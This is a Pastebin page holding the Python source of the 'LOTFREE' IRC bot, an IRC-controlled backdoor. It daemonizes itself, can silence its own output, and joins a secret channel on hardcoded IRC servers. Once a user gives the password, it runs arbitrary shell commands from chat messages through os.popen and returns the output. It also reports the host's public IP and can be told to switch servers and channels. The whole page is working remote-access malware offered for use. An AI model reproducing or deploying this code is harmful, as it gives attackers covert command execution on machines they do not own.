Advertisement
Guest User

LOTFREE PYTHON IRC BOT SSL

a guest
Jul 21st, 2017
253
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 13.09 KB | None | 0 0
  1. #!/usr/bin/env python
  2. # LOTFREE IRC BOT WITH SSL SUPPORT
  3. # http://lotfree.next-touch.com/
  4. # -----
  5. # Coded by the LOTFREE team and N-0-X (n0x@noxistes.org)
  6. import socket, os, urllib, random, sys
  7.  
  8. # other required libs: time and md5 is antiflood and ident are set to True
  9.  
  10. class bot:
  11. # ssl IRC servers
  12. #  default_server="proxy.epiknet.org:443"
  13. #  default_server="ssl.netrusk.net:6697"
  14.   default_server="snowball.mo.us.zirc.org:443"
  15. #  default_server="kiwi.blabber.net:443"
  16. #  default_server="estranged.blabber.net:25"
  17. #  default_server="estranged.blabber.net:53"
  18. #  default_server="estranged.blabber.net:443"
  19. #  default_server="nomad.blabber.net:22"
  20. #  default_server="satsang.shadowfire.org:443"
  21. #  default_server="shikari.shadowfire.org:443"
  22. #  default_server="irc.rovno.ua:7771"
  23. #
  24. # non-ssl IRC servers
  25. #  default_server="snowball.mo.us.zirc.org:80"
  26. #  default_server="snowball.mo.us.zirc.org:21"
  27. #  default_server="snowball.mo.us.zirc.org:53"
  28. #  default_server="rucus.zanet.net:25"
  29. #  default_server="proxy.epiknet.org:80"
  30. #  default_server="estranged.blabber.net:110"
  31. #  default_server="irc.esigetel.fr:6667"
  32.  
  33. # set your preferences
  34.   default_chan="#g4m4r4"
  35.   default_key="" #n0futur3*" # Channel key, leave it empty for a non-protected chan
  36.   default_nick="" # randomly generated
  37.   random_nick = True # if True, random chars will be added to the specified default nick
  38.   max_nick_len = 16 # maximum size of the nickname
  39.   anti_flood = False
  40.   sleep_time = 5 # in seconds
  41.   max_msg = 5 # maximum messages before considered as flood
  42.   ident = True # must send the correct password to use the bot
  43.   passwd = "f291caaa8226b6ccbceb9ac54ef3c03c" # pass = "w00t"
  44.   allow_list_ident = True # allow to show the list of identified users (?)
  45.   pre_list1 = "Identified users:" # message to be sent before ident list
  46.   now_ident = "You are now identified." # greeting message (can't be empty!)
  47.   wrongpwd = "Fuck off!" # wrong password message (can be empty)
  48.   ident_msg = "Who are you?" # sentence that "asks" the password to users that aren't identified
  49.   quit_msg = "Screw you guys, I'm goin' home! - Cartman" # basicly useless but it's just there if you want it =D
  50.  
  51. # command names
  52.   pre_cmd = "!" # that's the symbol that must be before the command
  53.   exit_cmd = "exit" # so the command is !exit (pre_cmd+exit_cmd)
  54.   ip_cmd = "ip" # get ip
  55.   op_cmd = "op" # get the chanop right
  56.   o_shell = "open_shell" # every privmsg will be sent to shell
  57.   c_shell = "close_shell" # guess!
  58.   connect_ = "connect" # connect to a new server
  59.   chan_chg = "join" # to change channel
  60.   one_scmd = "sh" # command to execute only one command
  61.   irc_cmd = "irc" # send an irc command
  62.   fortunes = "fortune" # don't know what to do? :P
  63.   ch_dir = "cd" # that's to change current directory
  64.   list_ident = "list-ident" # same thing for identified users
  65.   empty_ident="empty-ident" # delete identified users
  66.   identify = "password:" # identify
  67.   chan_sff = "chan" # channel stuff
  68.  
  69. # other vars -- edit at your own risk! (and don't risk it!)
  70.   debug=True # set to FALSE if not debugguing or you will have messages from everywhere!!
  71.   shell_on = False
  72.   ssl=0
  73.   connected=0
  74.   sock=0
  75.   fin=None
  76.   fout=None
  77.   sock_ssl=0
  78.   buffer_list=[]
  79.   append=0
  80.   registered = False;
  81.   if ident == True: allowed=[] # create a list of identified users (user's nick + host)
  82.  
  83. # the End =)
  84.   def __init__(self):
  85.     self.connected=0
  86.     chars="aAbBcCdDeEfFgGhHiIjJkKlLmMnNoOpPiqQrRsStTuUwWxXyYzZ0123456789"
  87.     to_do = self.max_nick_len - len(self.default_nick)
  88.     if to_do < 0: to_do = 0
  89.     if self.random_nick==True:
  90.      for i in range(to_do):
  91.       self.default_nick=self.default_nick+chars[random.randint(0,len(chars)-1)]
  92.  
  93.  
  94.   def connect(self,serveur=default_server):
  95.     host=serveur.split(":")[0]
  96.     try:
  97.       port=int(serveur.split(":")[1])
  98.     except (ValueError,IndexError):
  99.       port=6667
  100.     if self.connected==1:
  101.       if self.ssl==1:
  102.     del self.ssl_sock
  103.       self.sock.close()
  104.  
  105.     self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  106.     self.sock.connect((host, port))
  107.     # we try a ssl connection
  108.     try:
  109.       self.ssl_sock = socket.ssl(self.sock)
  110.       if self.debug==True:
  111.         print repr(self.ssl_sock.server()) #self.debug
  112.         print repr(self.ssl_sock.issuer()) #self.debug
  113.         print "using ssl :)" #self.debug
  114.       self.ssl=1
  115.     except socket.sslerror:
  116.       self.sock.close()
  117.       self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  118.       self.sock.connect((host, port))
  119.       self.fin=self.sock.makefile("rb")
  120.       self.fout=self.sock.makefile("wb")
  121.  
  122.     self.connected=1
  123.  
  124.   def auth(self):
  125.     self.send("PASS youwontneverfondthisone")
  126.     self.send("NICK "+self.default_nick)
  127.     self.send("USER "+self.default_nick+" localhost nsa.gov :unknown")
  128.     self.send("JOIN "+self.default_chan+" "+self.default_key)
  129.     if self.default_key != "": self.send("MODE "+self.default_chan+" +k "+self.default_key) # you can join a chan without a key
  130.     self.send("MODE "+self.default_chan+" +s")
  131.  
  132.   def send(self,msg):
  133.     if self.ssl==1:
  134.       self.ssl_sock.write(msg+"\r\n")
  135.     else:
  136.       self.fout.write(msg+"\r\n")
  137.       self.fout.flush()
  138.  
  139.   def recv(self):
  140.     if self.ssl==1:
  141.       buffer=""
  142.       if self.buffer_list==[]:
  143.     while not buffer.endswith("\r\n"):
  144.       buffer=buffer+self.ssl_sock.read()
  145.     self.buffer_list=buffer.split("\r\n")
  146.     self.buffer_list=[elem for elem in self.buffer_list if elem!=""]
  147.       data=self.buffer_list.pop(0)
  148.     else:
  149.       data=self.fin.readline().strip()
  150.     return data
  151.  
  152.   def getip(self):
  153.     return urllib.urlopen("http://www.whatismyip.org/").readline()
  154.    
  155.   def shell(self,msg,origine):
  156.     import time
  157.     if (len(msg.split(" "))>1 and self.shell_on == False) or (msg.strip() != "" and self.shell_on == True):
  158.       if self.shell_on == False: the_cmd = " ".join(msg.split(" ")[1:]);
  159.       else: the_cmd = msg.strip()[1:] # split(" ")[0:] <=> strip() && [1:] to not have preceding ":"
  160.       fd=os.popen('{ ' + the_cmd + '; } 2>&1', 'r') # 'stolen' from the commands module
  161.       output=fd.readlines()
  162.       flood_cnt = self.max_msg;int_num = 0;
  163.       for line in output:
  164.     self.send("NOTICE "+origine+" :"+line.strip())
  165.     int_num += 1
  166.     if self.anti_flood == True and int_num > flood_cnt:
  167.       self.send("NOTICE "+origine+" :> Anti-flood is ON: sleeping "+str(self.sleep_time)+" seconds <")
  168.       time.sleep(self.sleep_time); int_num = 0;
  169.       fd.close()
  170.     else: self.notice_msg(0)
  171.  
  172.   def notice_msg(self,num):
  173.     if self.debug == True: print "Going to notice #"+str(num)
  174.     if num == 0: return "Not enough arguments"
  175.     elif num == 1 and self.shell_on == True: return "> Shell closed <"
  176.     elif num == 1 and self.shell_on == False: return "> Shell opened: every other message will be considered as a command"
  177.     elif num == 2: return "Current directory"
  178.  
  179.   def cmds(self,rcpt,msg,msg_args,msg_cmd,origine):
  180.     if msg_cmd==":"+self.pre_cmd+self.fortunes: #!fortunes
  181.       fd=os.popen("fortune","r")
  182.       output=fd.readlines()
  183.       for line in output: self.send("NOTICE "+origine+" :"+line)
  184.       fd.close()
  185.     elif msg_cmd==":"+self.pre_cmd+self.exit_cmd: #!exit
  186.       if self.connected==1:
  187.     self.send("QUIT :"+self.quit_msg);
  188.     if self.ssl==1:
  189.       del self.ssl_sock
  190.     self.sock.close()
  191.       raise SystemExit # instead of "break" because it's not in a loop anymore ;)
  192.     elif msg_cmd==":"+self.pre_cmd+self.one_scmd: #!sh
  193.       self.shell(msg,origine)
  194.     elif msg_cmd==":"+self.pre_cmd+self.irc_cmd: #send irc command
  195.       if len(msg.split(" "))>1:
  196.     self.send(" ".join(msg.split(" ")[1:]))
  197.       else: self.send("NOTICE "+origine+" :"+self.notice_msg(0))
  198.     elif msg_cmd==":"+self.pre_cmd+self.chan_sff: # channel stuff
  199.       if (len(msg.split(" ")))>1:
  200.     self.send("PRIVMSG ChanServ :"+msg.split(" ")[1]+" "+self.default_chan+" "+" ".join(msg.split(" ")[2:]))
  201.       else: self.send("NOTICE "+origine+" :"+self.notice_msg(0))
  202.     elif msg_cmd==":"+self.pre_cmd+self.ip_cmd: #get ip
  203.       self.send("NOTICE "+origine+" :"+self.getip())
  204.     elif msg_cmd==":"+self.pre_cmd+self.connect_: #change servers
  205.       if len(msg.split(" "))>1:
  206.     self.connect(msg.split(" ")[1])
  207.       else: self.send("NOTICE "+origine+" :"+self.notice_msg(0))
  208.     elif msg_cmd==":"+self.pre_cmd+self.chan_chg: #change channels
  209.       if len(msg.split(" "))>1:
  210.     self.send("PART "+self.default_chan)
  211.     self.default_chan=msg.split(" ")[1]
  212.     if len(msg.split(" "))>2: self.default_key=msg.split(" ")[2]
  213.     else: self.default_key="";
  214.     self.send("JOIN "+self.default_chan+" "+self.default_key)
  215.     if self.default_key!="": self.send("MODE "+self.default_chan+" +k "+self.default_key)
  216.     self.send("MODE "+self.default_chan+" +s")
  217.       else: self.send("NOTICE "+origine+" :"+self.notice_msg(0))
  218.     elif msg_cmd==":"+self.pre_cmd+self.o_shell: #open shell
  219.       self.send("NOTICE "+origine+" :"+self.notice_msg(1))
  220.       self.shell_on = True;
  221.     elif msg_cmd==":"+self.pre_cmd+self.c_shell: #close shell
  222.       self.send("NOTICE "+origine+" :"+self.notice_msg(1))
  223.       self.shell_on = False;
  224.     elif msg_cmd==":"+self.pre_cmd+self.list_ident and self.allow_list_ident == True and self.ident == True: # list ident
  225.       self.send("NOTICE "+origine+" :"+self.pre_list1)
  226.       for y in range(len(self.allowed)):
  227.     self.send("NOTICE "+origine+" :"+self.allowed[y])
  228.     elif msg_cmd==":"+self.pre_cmd+self.empty_ident and self.allow_list_ident == True and self.ident == True: # empty ident
  229.       self.allowed=[]
  230.     elif msg_cmd==":"+self.pre_cmd+self.ch_dir:
  231.       try:
  232.     os.chdir(msg[4:].strip())
  233.     self.send("NOTICE "+origine+" :"+self.notice_msg(2)+" "+os.getcwd())
  234.       except OSError:
  235.     pass
  236.     elif msg_cmd==":"+self.pre_cmd+self.op_cmd:
  237.       self.send("MODE "+self.default_chan+" +o "+origine)
  238.     elif self.shell_on == True: # execute every message as a command -- must be at bottom!
  239.         self.shell(msg,origine)
  240.     # end of the cmds def
  241.  
  242.   def loop(self):
  243.     while True:
  244.       data=self.recv()
  245.       if self.debug==True: print data #self.debug
  246.       if data.startswith('PING'):
  247.     self.send("PONG "+data.split(" ")[1])
  248.     if self.debug == True: print "PONGed "+data.split(" ")[1]
  249.       elif data[0]==':':
  250.     (who, msg)=data[1:].split(" ",1)
  251.     origine=who.split("!")[0]
  252.     (cmd, args)=msg.split(" ",1)
  253.     if cmd=="PRIVMSG":
  254.       (rcpt,msg)=args.split(" ",1)
  255.       if len(msg.split(" ")) > 1: msg_args = msg.split(" ")[1:]; msg_args = "".join(["%s" % k for k in msg_args])
  256.       else: msg_args = ""
  257.       msg_cmd = msg.split(" ")[0]
  258.       if self.ident == False:
  259.         self.cmds(rcpt,msg,msg_args,msg_cmd,origine) # call the cmd def
  260.       elif self.ident == True:
  261.         import md5
  262.         if self.allowed.__contains__(who) == False: # the user is NOT identified (using nick+hostnm)
  263.           if msg_cmd ==":"+self.pre_cmd+self.identify:
  264.         if self.debug == True: print "Checking password ... "
  265.         # the user sent the command to identify, check if password is correct
  266.         if md5.new(msg_args).hexdigest()==self.passwd:
  267.           self.send("NOTICE "+origine+" :"+self.now_ident)
  268.           self.allowed.append(who)
  269.           if self.debug == True: print "-----> allowed["+str(len(self.allowed)-1)+"] = "+self.allowed[-1]
  270.         elif md5.new(msg_args).hexdigest()!=self.passwd and self.wrongpwd != "":
  271.           self.send("NOTICE "+origine+" :"+self.wrongpwd)
  272.               # Comment the following line for a silent bot
  273.           elif self.ident_msg != "": self.send("NOTICE "+origine+" :"+self.ident_msg)
  274.         else: self.cmds(rcpt,msg,msg_args,msg_cmd,origine)
  275.     elif cmd=="NOTICE" and origine.lower()=="chanserv": # check for services
  276.       do_it = False;
  277.       if self.debug == True: print "Received message for service called:" + origine.lower()
  278.       if self.ident == True and len(self.allowed) > 0: machin = self.allowed; do_it = True;
  279.       elif self.ident == False: machin = list(); machin.append(self.default_chan); do_it = True;
  280.       if do_it == True:
  281.         for ugly in range(len(machin)): self.send("NOTICE "+machin[ugly].split("!")[0]+" :<"+origine+"> "+msg)
  282.         if self.debug == True: print "Noticing "+machin[ugly].split("!")[0]
  283.       elif do_it == False and self.debug == True: print "Ain't doing it!"
  284.     elif cmd=="KICK":
  285.       self.send("JOIN "+self.default_chan+" "+self.default_key)
  286.         elif cmd=="432": # bad nickname -- must be before 451
  287.       if self.debug == True: print "Argh! Bad nickname!"
  288.       self.default_nick=""; self.__init__() # restart bot
  289.         elif cmd=="451":
  290.       if self.debug == True: print "Oops, not registered ..."
  291.       if self.registered == False: self.auth()
  292.     elif cmd=="001": # we're welcomed
  293.       self.registered = True;
  294.  
  295.  
  296. if __name__ == '__main__':
  297.   try:
  298.     if os.fork() > 0: os._exit(0)
  299.   except OSError, error:
  300.     os._exit(1)
  301.  
  302.   os.chdir('/')
  303.   os.setsid()
  304.   os.umask(0)
  305.   # that's to not have any output AT ALL in the shell
  306.   # it's not a real daemon =)
  307.   if bot().debug == False:
  308.     sys.stdin.close() # otherwise no message will be displayed (even errors)
  309.     sys.stdout=open("/dev/null", 'w') # idem
  310.     sys.stderr=open("/dev/null", 'w') # ... idem!
  311.  
  312.   try:
  313.     pid = os.fork()
  314.     if pid > 0:
  315.       os._exit(0)
  316.   except OSError, error:
  317.     os._exit(1)
  318.   mybot=bot()
  319.   mybot.connect()
  320.   mybot.auth()
  321.   mybot.loop()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement